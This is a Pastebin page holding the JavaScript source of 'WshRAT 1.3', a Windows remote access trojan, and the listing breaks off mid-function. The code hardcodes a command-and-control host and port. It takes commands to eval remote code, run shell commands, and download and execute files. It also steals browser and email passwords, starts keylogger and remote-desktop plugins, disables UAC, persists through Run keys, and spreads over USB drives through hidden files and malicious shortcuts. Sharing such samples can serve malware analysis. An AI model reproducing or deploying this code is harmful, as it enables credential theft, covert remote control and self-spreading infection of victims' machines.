API tools faq
paste
Advertisement
Racco42

WshRAT 1.3

Racco42
Jun 14th, 2019
2,936
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 26.89 KB | None | 0 0
raw download clone embed print report
  1. //<[ recoder : kognito (c) skype : live:unknown.sales64 ]>
  2.  
  3. //=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  4.  
  5. var host = "unknownsoft.duckdns.org";
  6. var port = 7755;
  7. var installdir = "%appdata%";
  8. var runAsAdmin = true;
  9. var lnkfile = true;
  10. var lnkfolder = true;
  11.  
  12. if(runAsAdmin == true){
  13.     startupElevate();
  14. }
  15. if(WScript.Arguments.Named.Exists("elevated") == true){
  16.     disableSecurity();
  17. }
  18. //=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
  19.  
  20. var shellobj = WScript.createObject("wscript.shell");
  21. var filesystemobj = WScript.createObject("scripting.filesystemobject");
  22. var httpobj = WScript.createObject("msxml2.xmlhttp");
  23.  
  24.  
  25. //=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
  26.  
  27. var installname = WScript.scriptName;
  28. var startup = shellobj.specialFolders("startup") + "\\";
  29. installdir = shellobj.ExpandEnvironmentStrings(installdir) + "\\";
  30. if(!filesystemobj.folderExists(installdir)){  installdir = shellobj.ExpandEnvironmentStrings("%temp%") + "\\";}
  31. var spliter = "|";
  32. var sleep = 5000;
  33. var response, cmd, param, oneonce;
  34.  
  35. var inf = "";
  36. var usbspreading = "";
  37. var startdate = "";
  38.  
  39. //=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
  40.  
  41. instance();
  42.  
  43. while(true){
  44.     try{
  45.         install();
  46.  
  47.         response = "";
  48.         response = post ("is-ready","");
  49.         cmd = response.split(spliter);
  50.         switch(cmd[0]){
  51.             case "disconnect":
  52.                   WScript.quit();
  53.                   break;
  54.             case "reboot":
  55.                   shellobj.run("%comspec% /c shutdown /r /t 0 /f", 0, true);
  56.                   break;
  57.             case "shutdown":
  58.                   shellobj.run("%comspec% /c shutdown /s /t 0 /f", 0, true);
  59.                   break;
  60.             case "excecute":
  61.                   param = cmd[1];
  62.                   eval(param);
  63.                   break;
  64.             case "get-pass":
  65.                   passgrabber(cmd[1], "cmdc.exe", cmd[2]);
  66.                   break;
  67.             case "get-pass-offline":
  68.                   passgrabber2(cmd[1], "cmdc.exe", cmd[2]);
  69.                   break;
  70.             case "update":
  71.                   param = response.substr(response.indexOf("|") + 1);
  72.                   oneonce.close();
  73.                   oneonce = filesystemobj.openTextFile(installdir + installname ,2, false);
  74.                   oneonce.write(param);
  75.                   oneonce.close();
  76.                   shellobj.run("wscript.exe //B \"" + installdir + installname + "\"");
  77.                   updatestatus("Updated");
  78.                   wscript.quit();
  79.             case "uninstall":
  80.                   uninstall();
  81.                   break;
  82.             case "up-n-exec":
  83.                   download(cmd[1],cmd[2]);
  84.                   break;
  85.             case "bring-log":
  86.                   upload(installdir + "wshlogs\\" + cmd[1], "take-log");
  87.                   break;
  88.             case "down-n-exec":
  89.                   sitedownloader(cmd[1],cmd[2]);
  90.                   break;
  91.             case  "filemanager":
  92.                   servicestarter(cmd[1], "fm-plugin.exe", information());
  93.                   break;
  94.             case  "rdp":
  95.                   servicestarter(cmd[1], "rd-plugin.exe", information());
  96.                   break;
  97.             case  "keylogger":
  98.                   keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 0);
  99.                   break;
  100.             case  "offline-keylogger":
  101.                   keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 1);
  102.                   break;
  103.             case  "browse-logs":
  104.                   post("is-logs", enumfaf(installdir + "wshlogs"));
  105.                   break;
  106.             case  "cmd-shell":
  107.                   param = cmd[1];
  108.                   post("is-cmd-shell",cmdshell(param));
  109.                   break;
  110.             case  "get-processes":
  111.                   post("is-processes", enumprocess());
  112.                   break;
  113.             case  "disable-uac":
  114.                   disableSecurity();
  115.                   updatestatus("UAC+Disabled+(Reboot+Required)");
  116.                   break;
  117.             case  "check-eligible":
  118.                   if(filesystemobj.fileExists(cmd[1])){
  119.                     updatestatus("Is+Eligible");
  120.                   }else{
  121.                     updatestatus("Not+Eligible");
  122.                   }
  123.                   break;
  124.             case  "force-eligible":
  125.                   if(WScript.Arguments.Named.Exists("elevated") == true){
  126.                     if(filesystemobj.folderExists(cmd[1])){
  127.                         shellobj.run("%comspec% /c " + cmd[2], 0, true);
  128.                         updatestatus("SUCCESS");
  129.                     }else{
  130.                         updatestatus("Component+Missing");
  131.                     }
  132.                   }
  133.                   else{
  134.                     updatestatus("Elevation+Required");
  135.                   }
  136.                   break;
  137.             case  "elevate":
  138.                   if(WScript.Arguments.Named.Exists("elevated") == false){
  139.                     try{
  140.                       oneonce.close();
  141.                       oneonce = null;
  142.                       WScript.CreateObject("Shell.Application").ShellExecute("wscript.exe", " //B \"" + WScript.ScriptFullName + "\" /elevated", "", "runas", 1);
  143.                       updatestatus("Client+Elevated");
  144.                     }catch(nn){
  145.                     }
  146.                     WScript.quit();
  147.                   }
  148.                   else{
  149.                       updatestatus("Client+Elevated");
  150.                   }
  151.                   break;
  152.             case  "if-elevate":
  153.                   if(WScript.Arguments.Named.Exists("elevated") == false){
  154.                       updatestatus("Client+Not+Elevated");
  155.                   }
  156.                   else{
  157.                       updatestatus("Client+Elevated");
  158.                   }
  159.                   break;
  160.             case  "kill-process":
  161.                   exitprocess(cmd[1]);
  162.                   break;
  163.             case  "sleep":
  164.                   param = cmd[1];
  165.                   sleep = eval(param);
  166.                   break;
  167.         }
  168.        
  169.     }catch(er){}
  170.     WScript.sleep(sleep);
  171. }
  172.  
  173. function install(){
  174. var lnkobj;
  175. var filename;
  176. var foldername;
  177. var fileicon;
  178. var foldericon;
  179.  
  180. upstart();
  181.  
  182. for(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){
  183. var drive = dri.item();
  184. if (drive.isready == true){
  185. if (drive.freespace > 0 ){
  186. if (drive.drivetype == 1 ){
  187.     try{
  188.         filesystemobj.copyFile(WScript.scriptFullName , drive.path + "\\" + installname,true);
  189.         if (filesystemobj.fileExists (drive.path + "\\" + installname)){
  190.             filesystemobj.getFile(drive.path + "\\"  + installname).attributes = 2+4;
  191.         }
  192.     }catch(eiju){}
  193.     for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").files); !fi.atEnd(); fi.moveNext()){
  194.         try{
  195.         var file = fi.item();
  196.         if (lnkfile == false){break;}
  197.         if (file.name.indexOf(".")){
  198.             if ((file.name.split(".")[file.name.split(".").length - 1]).toLowerCase() != "lnk"){
  199.                 file.attributes = 2+4;
  200.                 if (file.name.toUpperCase() != installname.toUpperCase()){
  201.                     filename = file.name.split(".");
  202.                     lnkobj = shellobj.createShortcut(drive.path + "\\"  + filename[0] + ".lnk");
  203.                     lnkobj.windowStyle = 7;
  204.                     lnkobj.targetPath = "cmd.exe";
  205.                     lnkobj.workingDirectory = "";
  206.                     lnkobj.arguments = "/c start " + installname.replace(new RegExp(" ", "g"), "\" \"") + "&start " + file.name.replace(new RegExp(" ", "g"), "\" \"") +"&exit";
  207.                     try{fileicon = shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\" + shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\." + file.name.split(".")[file.name.split(".").length - 1]+ "\\") + "\\defaulticon\\"); }catch(eeee){}
  208.                     if (fileicon.indexOf(",") == 0){
  209.                         lnkobj.iconLocation = file.path;
  210.                     }else {
  211.                         lnkobj.iconLocation = fileicon;
  212.                     }
  213.                     lnkobj.save();
  214.                 }
  215.             }
  216.         }
  217.         }catch(err){}
  218.     }
  219.     for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").subFolders); !fi.atEnd(); fi.moveNext()){
  220.         try{
  221.         var folder = fi.item();
  222.         if (lnkfolder == false){break;}
  223.         folder.attributes = 2+4;
  224.         foldername = folder.name;
  225.         lnkobj = shellobj.createShortcut(drive.path + "\\"  + foldername + ".lnk");
  226.         lnkobj.windowStyle = 7;
  227.         lnkobj.targetPath = "cmd.exe";
  228.         lnkobj.workingDirectory = "";
  229.         lnkobj.arguments = "/c start " + installname.replace(new RegExp(" ", "g"), "\" \"") + "&start explorer " + folder.name.replace(new RegExp(" ", "g"), "\" \"") +"&exit";
  230.         foldericon = shellobj.RegRead("HKEY_LOCAL_MACHINE\\software\\classes\\folder\\defaulticon\\");
  231.         if (foldericon.indexOf(",") == 0){
  232.             lnkobj.iconLocation = folder.path;
  233.         }else {
  234.             lnkobj.iconLocation = foldericon;
  235.         }
  236.         lnkobj.save();
  237.         }catch(err){}
  238.     }
  239. }
  240. }
  241. }
  242. }
  243. }
  244.  
  245. function startupElevate(){
  246.     if(WScript.Arguments.Named.Exists("elevated") == false){
  247.         try{
  248.             WScript.CreateObject("Shell.Application").ShellExecute("wscript.exe", " //B \"" + WScript.ScriptFullName + "\" /elevated", "", "runas", 1);
  249.         }catch(nn){
  250.         }
  251.         WScript.quit();
  252.     }
  253. }
  254.  
  255. function disableSecurity(){
  256.     if(WScript.Arguments.Named.Exists("elevated") == true){
  257.         var oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv");
  258.         oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","EnableLUA", 0);
  259.         oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","ConsentPromptBehaviorAdmin", 0);
  260.         oReg = null;
  261.     }
  262. }
  263.  
  264. function uninstall(){
  265. try{
  266. var filename;
  267. var foldername;
  268. try{
  269.     shellobj.RegDelete("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0]);
  270.     shellobj.RegDelete("HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0]);
  271. }catch(ei){}
  272. try{
  273. filesystemobj.deleteFile(startup + installname ,true);
  274. filesystemobj.deleteFile(WScript.scriptFullName ,true);
  275. }catch(eej){}
  276. for(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){
  277. var drive = dri.item();
  278. if (drive.isready == true){
  279. if (drive.freespace > 0 ){
  280. if (drive.drivetype == 1 ){
  281.     for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").files); !fi.atEnd(); fi.moveNext()){
  282.          var file = fi.item();
  283.          try{
  284.          if (file.name.indexOf(".")){
  285.              if ((file.name.split(".")[file.name.split(".").length - 1]).toLowerCase() != "lnk"){
  286.                  file.attributes = 0;
  287.                  if (file.name.toUpperCase() != installname.toUpperCase()){
  288.                      filename = file.name.split(".");
  289.                      filesystemobj.deleteFile(drive.path + "\\" + filename[0] + ".lnk" );
  290.                  }else{
  291.                      filesystemobj.deleteFile(drive.path + "\\" + file.name);
  292.                  }
  293.              }else{
  294.                  filesystemobj.deleteFile (file.path);
  295.              }
  296.          }
  297.          }catch(ex){}
  298.      }
  299.      for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").subFolders); !fi.atEnd(); fi.moveNext()){
  300.         var folder = fi.item();
  301.          folder.attributes = 0;
  302.      }
  303. }
  304. }
  305. }
  306. }
  307. }catch(err){}
  308. WScript.quit();
  309. }
  310.  
  311. function post (cmd ,param){
  312. try{
  313. httpobj.open("post","http://" + host + ":" + port +"/" + cmd, false);
  314. httpobj.setRequestHeader("user-agent:",information());
  315. httpobj.send(param);
  316. return httpobj.responseText;
  317. }catch(err){
  318.     return "";
  319. }
  320. }
  321.  
  322. function information(){
  323. try{
  324. if (inf == ""){
  325.     inf = hwid() + spliter;
  326.     inf = inf  + shellobj.ExpandEnvironmentStrings("%computername%") + spliter ;
  327.     inf = inf  + shellobj.ExpandEnvironmentStrings("%username%") + spliter;
  328.  
  329.     var root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\\\.\\root\\cimv2");
  330.     var os = root.ExecQuery ("select * from win32_operatingsystem");
  331.    
  332.     for(var fi = new Enumerator(os); !fi.atEnd(); fi.moveNext()){
  333.         var osinfo = fi.item();
  334.        inf = inf + osinfo.caption + spliter;  
  335.        break;
  336.     }
  337.     inf = inf + "plus" + spliter;
  338.     inf = inf + security() + spliter;
  339.     inf = inf + usbspreading;
  340.     inf = "WSHRAT" + spliter + inf + spliter + "JavaScript-v1.3" ;
  341.     return inf;
  342. }else{
  343.     return inf;
  344. }
  345. }catch(err){
  346.     return "";
  347. }
  348. }
  349.  
  350.  
  351. function upstart (){
  352. try{
  353. try{
  354.     shellobj.RegWrite("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0],  "wscript.exe //B \"" + installdir + installname + "\"" , "REG_SZ");
  355.     shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0],  "wscript.exe //B \"" + installdir + installname + "\"" , "REG_SZ");
  356. }catch(ei){}
  357. filesystemobj.copyFile(WScript.scriptFullName, installdir + installname, true);
  358. filesystemobj.copyFile(WScript.scriptFullName, startup + installname, true);
  359. }catch(err){}
  360. }
  361.  
  362.  
  363. function hwid(){
  364. try{
  365. var root = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
  366. var disks = root.ExecQuery ("select * from win32_logicaldisk");
  367. for(var fi = new Enumerator(disks); !fi.atEnd(); fi.moveNext()){
  368. var disk = fi.item();
  369.     if (disk.volumeSerialNumber != ""){
  370.         return disk.volumeSerialNumber;
  371.         break;
  372.     }
  373. }
  374. }catch(err){
  375.     return "";
  376. }
  377. }
  378.  
  379.  
  380. function security(){
  381. try{
  382. var objwmiservice = GetObject("winmgmts:{impersonationlevel=impersonate}!\\\\.\\root\\cimv2");
  383. var colitems = objwmiservice.ExecQuery("select * from win32_operatingsystem",null,48);
  384.  
  385. var versionstr, osversion;
  386. for(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext()){
  387.     var objitem = fi.item();
  388.     versionstr = objitem.version.toString().split(".");
  389. }
  390.  
  391. //versionstr = colitems.version.split(".");
  392. osversion = versionstr[0] + ".";
  393. for (var x = 1; x < versionstr.length; x++){
  394.      osversion = osversion + versionstr[0];
  395. }
  396.  
  397. osversion = eval(osversion);
  398. var sc;
  399. if (osversion > 6){ sc = "securitycenter2"; }else{ sc = "securitycenter";}
  400.  
  401. var objsecuritycenter = GetObject("winmgmts:\\\\localhost\\root\\" + sc);
  402. var colantivirus = objsecuritycenter.ExecQuery("select * from antivirusproduct", "wql", 0);
  403. var secu = "";
  404. for(var fi = new Enumerator(colantivirus); !fi.atEnd(); fi.moveNext()){
  405.     var objantivirus = fi.item();
  406.     secu = secu  + objantivirus.displayName + " .";
  407. }
  408. if(secu == ""){secu = "nan-av";}
  409. return secu;
  410. }catch(err){}
  411. }
  412. function getDate(){
  413.     var s = "";
  414.     var d = new Date();              
  415.     s += d.getDate() + "/";          
  416.     s += (d.getMonth() + 1) + "/";
  417.     s += d.getYear();
  418.     return s;                              
  419. }
  420. function instance(){
  421. try{
  422. try{
  423. usbspreading = shellobj.RegRead("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0] + "\\");
  424. }catch(eee){}
  425. if(usbspreading == ""){
  426.    if (WScript.scriptFullName.substr(1).toLowerCase() == ":\\" +  installname.toLowerCase()){
  427.       usbspreading = "true - " + getDate();
  428.       try{shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0] + "\\",  usbspreading, "REG_SZ");}catch(eeeee){}
  429.     }else{
  430.       usbspreading = "false - " + getDate();
  431.       try{shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0]  + "\\",  usbspreading, "REG_SZ");}catch(eeeee){}
  432.     }
  433. }
  434.  
  435. upstart();
  436.  
  437. var scriptfullnameshort =  filesystemobj.getFile(WScript.scriptFullName);
  438. var installfullnameshort =  filesystemobj.getFile(installdir + installname);
  439. if (scriptfullnameshort.shortPath.toLowerCase() != installfullnameshort.shortPath.toLowerCase()){
  440.     shellobj.run("wscript.exe //B \"" + installdir + installname + "\"");
  441.     WScript.quit();
  442. }
  443. oneonce = filesystemobj.openTextFile(installdir + installname ,8, false);
  444.  
  445. }catch(err){
  446.     WScript.quit();
  447. }
  448. }
  449.  
  450. function passgrabber (fileurl, filename, retcmd){
  451. shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true);
  452. try{filesystemobj.deleteFile(installdir + filename + "data");}catch(ey){}
  453. var config_file = installdir + filename.substr(0, filename.lastIndexOf(".")) + ".cfg";
  454. var cfg = "[General]\nShowGridLines=0\nSaveFilterIndex=0\nShowInfoTip=1\nUseProfileFolder=0\nProfileFolder=\nMarkOddEvenRows=0\nWinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00\nColumns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00\nSort=0";
  455. //write config
  456. var writer = filesystemobj.openTextFile(config_file, 2, true);
  457. writer.writeLine(cfg);
  458. writer.close();
  459. writer = null;
  460.        
  461. var strlink = fileurl;
  462. var strsaveto = installdir + filename;
  463. var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp");
  464. objhttpdownload.open("get", strlink, false);
  465. objhttpdownload.setRequestHeader("cache-control:", "max-age=0");
  466. objhttpdownload.send();
  467.  
  468. var objfsodownload = WScript.CreateObject("scripting.filesystemobject");
  469. if(objfsodownload.fileExists(strsaveto)){
  470.     objfsodownload.deleteFile(strsaveto);
  471. }
  472.  
  473. if (objhttpdownload.status == 200){
  474.   try{
  475.    var  objstreamdownload = WScript.CreateObject("adodb.stream");
  476.    objstreamdownload.Type = 1;
  477.    objstreamdownload.Open();
  478.    objstreamdownload.Write(objhttpdownload.responseBody);
  479.    objstreamdownload.SaveToFile(strsaveto);
  480.    objstreamdownload.close();
  481.    objstreamdownload = null;
  482.   }catch(ez){
  483.     updatestatus("Access+Denied");
  484.   }
  485. }
  486. if(objfsodownload.fileExists(strsaveto)){
  487.    var runner = WScript.CreateObject("Shell.Application");
  488.    var saver = objfsodownload.getFile(strsaveto).shortPath;
  489.    
  490.    //try 10 times before giveup
  491.    for(var i=0; i<5; i++){
  492.         shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true);
  493.         WScript.sleep(1000);
  494.         runner.shellExecute(saver, " /stext " + saver + "data");
  495.         WScript.sleep(5000);
  496.         if(objfsodownload.fileExists(saver + "data")){
  497.             var outpath = installdir + "wshlogs\\recovered_password_backup.log";
  498.             var folder = objfsodownload.GetParentFolderName(outpath);
  499.  
  500.             if (!objfsodownload.FolderExists(folder))
  501.             {
  502.                 shellobj.run("%comspec% /c mkdir \"" + folder + "\"", 0, true);
  503.             }
  504.            
  505.             objfsodownload.copyFile(saver + "data", outpath, true);
  506.             break;
  507.         }
  508.     }
  509.    
  510.    deletefaf(strsaveto);
  511.    upload(saver + "data", retcmd);
  512. }
  513. }
  514.  
  515. function passgrabber2(fileurl, filename, fileurl2){
  516. for(var h=0; h<2; h++){
  517. shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true);
  518. try{filesystemobj.deleteFile(installdir + filename + "data");}catch(ey){}
  519. var config_file = installdir + filename.substr(0, filename.lastIndexOf(".")) + ".cfg";
  520. var cfg = "[General]\nShowGridLines=0\nSaveFilterIndex=0\nShowInfoTip=1\nUseProfileFolder=0\nProfileFolder=\nMarkOddEvenRows=0\nWinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00\nColumns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00\nSort=0";
  521. //write config
  522. var writer = filesystemobj.openTextFile(config_file, 2, true);
  523. writer.writeLine(cfg);
  524. writer.close();
  525. writer = null;
  526.        
  527. var strlink = fileurl;
  528. if(h == 1){strlink = fileurl2;}
  529. var strsaveto = installdir + filename;
  530. var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp");
  531. objhttpdownload.open("get", strlink, false);
  532. objhttpdownload.setRequestHeader("cache-control:", "max-age=0");
  533. objhttpdownload.send();
  534.  
  535. var objfsodownload = WScript.CreateObject("scripting.filesystemobject");
  536. if(objfsodownload.fileExists(strsaveto)){
  537.     objfsodownload.deleteFile(strsaveto);
  538. }
  539.  
  540. if (objhttpdownload.status == 200){
  541.    var  objstreamdownload = WScript.CreateObject("adodb.stream");
  542.    objstreamdownload.Type = 1;
  543.    objstreamdownload.Open();
  544.    objstreamdownload.Write(objhttpdownload.responseBody);
  545.    objstreamdownload.SaveToFile(strsaveto);
  546.    objstreamdownload.close();
  547.    objstreamdownload = null;
  548. }
  549. if(objfsodownload.fileExists(strsaveto)){
  550.    var runner = WScript.CreateObject("Shell.Application");
  551.    var saver = objfsodownload.getFile(strsaveto).shortPath
  552.    
  553.    //try 10 times before giveup
  554.    for(var i=0; i<5; i++){
  555.         shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true);
  556.         WScript.sleep(1000);
  557.         runner.shellExecute(saver, " /stext " + saver + "data");
  558.         WScript.sleep(2000);
  559.         if(objfsodownload.fileExists(saver + "data")){
  560.             var objstreamuploade = WScript.CreateObject("adodb.stream");
  561.             objstreamuploade.Type = 2;
  562.             objstreamuploade.Open();
  563.             objstreamuploade.loadFromFile(saver + "data");
  564.             var buffer = objstreamuploade.ReadText();
  565.             objstreamuploade.close();
  566.            
  567.             var outpath = installdir + "wshlogs\\recovered_password_browser.log";
  568.             if(h == 1){outpath = installdir + "wshlogs\\recovered_password_email.log";}
  569.             var folder = objfsodownload.GetParentFolderName(outpath);
  570.  
  571.             if (!objfsodownload.FolderExists(folder))
  572.             {
  573.                 shellobj.run("%comspec% /c mkdir \"" + folder + "\"", 0, true);
  574.             }
  575.             writer = filesystemobj.openTextFile(outpath, 2, true);
  576.             writer.write(buffer);
  577.             writer.close();
  578.             writer = null;
  579.             break;
  580.         }
  581.    }
  582.    deletefaf(strsaveto);
  583. }
  584. }
  585. }
  586.  
  587. function keyloggerstarter (fileurl, filename, filearg, is_offline){
  588. shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true);
  589. var strlink = fileurl;
  590. var strsaveto = installdir + filename;
  591. var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp" );
  592. objhttpdownload.open("get", strlink, false);
  593. objhttpdownload.setRequestHeader("cache-control:", "max-age=0");
  594. objhttpdownload.send();
  595.  
  596. var objfsodownload = WScript.CreateObject("scripting.filesystemobject");
  597. if(objfsodownload.fileExists(strsaveto)){
  598.     objfsodownload.deleteFile(strsaveto);
  599. }
  600.  
  601. if (objhttpdownload.status == 200){
  602.   try{
  603.     var  objstreamdownload = WScript.CreateObject("adodb.stream");
  604.     objstreamdownload.Type = 1;
  605.     objstreamdownload.Open();
  606.     objstreamdownload.Write(objhttpdownload.responseBody);
  607.     objstreamdownload.SaveToFile(strsaveto);
  608.     objstreamdownload.close();
  609.    
  610.     objstreamdownload = null;
  611.     }catch(err){
  612.         updatestatus("Access+Denied");
  613.     }
  614.  }
  615.  if(objfsodownload.fileExists(strsaveto)){
  616.    shellobj.run("\"" + strsaveto + "\" " + host + " " + port + " \"" + filearg + "\" " + is_offline);
  617.  }
  618. }
  619.  
  620. function servicestarter (fileurl, filename, filearg){
  621.     shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true);
  622.     var strlink = fileurl;
  623.     var strsaveto = installdir + filename;
  624.     var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp" );
  625.     objhttpdownload.open("get", strlink, false);
  626.     objhttpdownload.setRequestHeader("cache-control:", "max-age=0");
  627.     objhttpdownload.send();
  628.    
  629.     var objfsodownload = WScript.CreateObject("scripting.filesystemobject");
  630.     if(objfsodownload.fileExists(strsaveto)){
  631.         objfsodownload.deleteFile(strsaveto);
  632.     }
  633.      
  634.     if (objhttpdownload.status == 200){
  635.       try{
  636.         var  objstreamdownload = WScript.CreateObject("adodb.stream");
  637.         objstreamdownload.Type = 1;
  638.         objstreamdownload.Open();
  639.         objstreamdownload.Write(objhttpdownload.responseBody);
  640.         objstreamdownload.SaveToFile(strsaveto);
  641.         objstreamdownload.close();
  642.        
  643.         objstreamdownload = null;
  644.       }catch(err){
  645.         updatestatus("Access+Denied");
  646.       }
  647.      }
  648.      if(objfsodownload.fileExists(strsaveto)){
  649.         shellobj.run("\"" + strsaveto + "\" " + host + " " + port + " \"" + filearg + "\"");
  650.       }  
  651. }
  652.  
  653. function sitedownloader (fileurl,filename){
  654.  
  655.     var strlink = fileurl;
  656.     var strsaveto = installdir + filename;
  657.     var objhttpdownload = WScript.CreateObject("msxml2.serverxmlhttp" );
  658.     objhttpdownload.open("get", strlink, false);
  659.     objhttpdownload.setRequestHeader("cache-control", "max-age=0");
  660.     objhttpdownload.send();
  661.    
  662.     var objfsodownload = WScript.CreateObject("scripting.filesystemobject");
  663.     if(objfsodownload.fileExists(strsaveto)){
  664.         objfsodownload.deleteFile(strsaveto);
  665.     }
  666.      
  667.     if (objhttpdownload.status == 200){
  668.         var  objstreamdownload = WScript.CreateObject("adodb.stream");
  669.         objstreamdownload.Type = 1;
  670.         objstreamdownload.Open();
  671.         objstreamdownload.Write(objhttpdownload.responseBody);
  672.         objstreamdownload.SaveToFile(strsaveto);
  673.         objstreamdownload.close();
  674.        
  675.         objstreamdownload = null;
  676.      }
  677.      if(objfsodownload.fileExists(strsaveto)){
  678.         shellobj.run(objfsodownload.getFile(strsaveto).shortPath);
  679.         updatestatus("Executed+File");
  680.      }
  681. }
  682.  
  683. function download (fileurl,filedir){
  684.     if(filedir == ""){
  685.     filedir = installdir;
  686.     }
  687.  
  688.     strsaveto = filedir + fileurl.substr(fileurl.lastIndexOf("\\") + 1);
  689.     var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp");
  690.     objhttpdownload.open("post","http://" + host + ":" + port +"/" + "send-to-me" + spliter + fileurl, false);
  691.     objhttpdownload.setRequestHeader("user-agent:", information());
  692.     objhttpdownload.send("");
  693.        
  694.     var objfsodownload = WScript.CreateObject("scripting.filesystemobject");
  695.     if(objfsodownload.fileExists(strsaveto)){
  696.         objfsodownload.deleteFile(strsaveto);
  697.     }
  698.      
  699.     if (objhttpdownload.status == 200){
  700.         var  objstreamdownload = WScript.CreateObject("adodb.stream");
  701.         objstreamdownload.Type = 1;
  702.         objstreamdownload.Open();
  703.         objstreamdownload.Write(objhttpdownload.responseBody);
  704.         objstreamdownload.SaveToFile(strsaveto);
  705.         objstreamdownload.close();
  706.        
  707.         objstreamdownload = null;
  708.      }
  709.      if(objfsodownload.fileExists(strsaveto)){
  710.         shellobj.run(objfsodownload.getFile(strsaveto).shortPath);
  711.         updatestatus("Executed+File");
  712.      }
  713. }
  714.  
  715. function updatestatus(status_msg){
  716.     var objsoc = WScript.CreateObject("msxml2.xmlhttp");
  717.     objsoc.open("post","http://" + host + ":" + port + "/" + "update-status" + spliter + status_msg, false);
  718.     objsoc.setRequestHeader("user-agent:", information());
  719.     objsoc.send("");
  720. }
  721.  
  722. function upload (fileurl, retcmd){
  723.     try{
  724.         var  httpobj,objstreamuploade,buffer;
  725.         var objstreamuploade = WScript.CreateObject("adodb.stream");
  726.         objstreamuploade.Type = 1;
  727.         objstreamuploade.Open();
  728.         objstreamuploade.loadFromFile(fileurl);
  729.         buffer = objstreamuploade.Read();
  730.         objstreamuploade.close();
  731.  
  732.         objstreamdownload = null;
  733.         var httpobj = WScript.CreateObject("msxml2.xmlhttp");
  734.         httpobj.open("post","http://" + host + ":" + port +"/" + retcmd, false);
  735.         httpobj.setRequestHeader("user-agent:", information());
  736.         httpobj.send(buffer);
  737.     }catch(er){
  738.         updatestatus("Upload+Failed");
  739.     }
  740. }
  741.  
  742.  
  743. function deletefaf (url){
  744. try{
  745. filesystemobj.deleteFile(url);
  746. filesystemobj.deleteFolder(url);
  747. }catch(err){}
  748. }
  749.  
  750. function cmdshell (cmd){
  751. var httpobj,oexec,readallfromany;
  752. var strsaveto = installdir + "out.txt";
  753. shellobj.run("%comspec% /c " + cmd + " > \"" + strsaveto + "\"", 0, true);
  754. readallfromany = filesystemobj.openTextFile(strsaveto).readAll();
  755. try{
  756. filesystemobj.deleteFile(strsaveto);
  757. }catch(ee){}
  758. return readallfromany;
  759. }
  760.  
  761.  
  762. function enumprocess(){
  763.     var ep = "";
  764. try{
  765. var objwmiservice = GetObject("winmgmts:\\\\.\\root\\cimv2");
  766. var colitems = objwmiservice.ExecQuery("select * from win32_process",null,48);
  767.  
  768. for(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext()){
  769.     var objitem = fi.item();
  770.     ep = ep + objitem.name + "^";
  771.     ep = ep + objitem.processId + "^";
  772.     ep = ep + objitem.executablePath + spliter;
  773. }
  774. }catch(er){}
  775. return ep;
  776. }
  777.  
  778. function exitprocess (pid){
  779. try{
  780. shellobj.run("taskkill /F /T /PID " + pid,0,true);
  781. }catch(err){}
  782. }
  783.  
  784. function getParentDirectory(path){
  785.     var fo = filesystemobj.getFile(path);
  786.     return filesystemobj.getParentFolderName(fo);
  787. }
  788.  
  789. function enumfaf (enumdir){
  790.     var re = "";
  791. try{
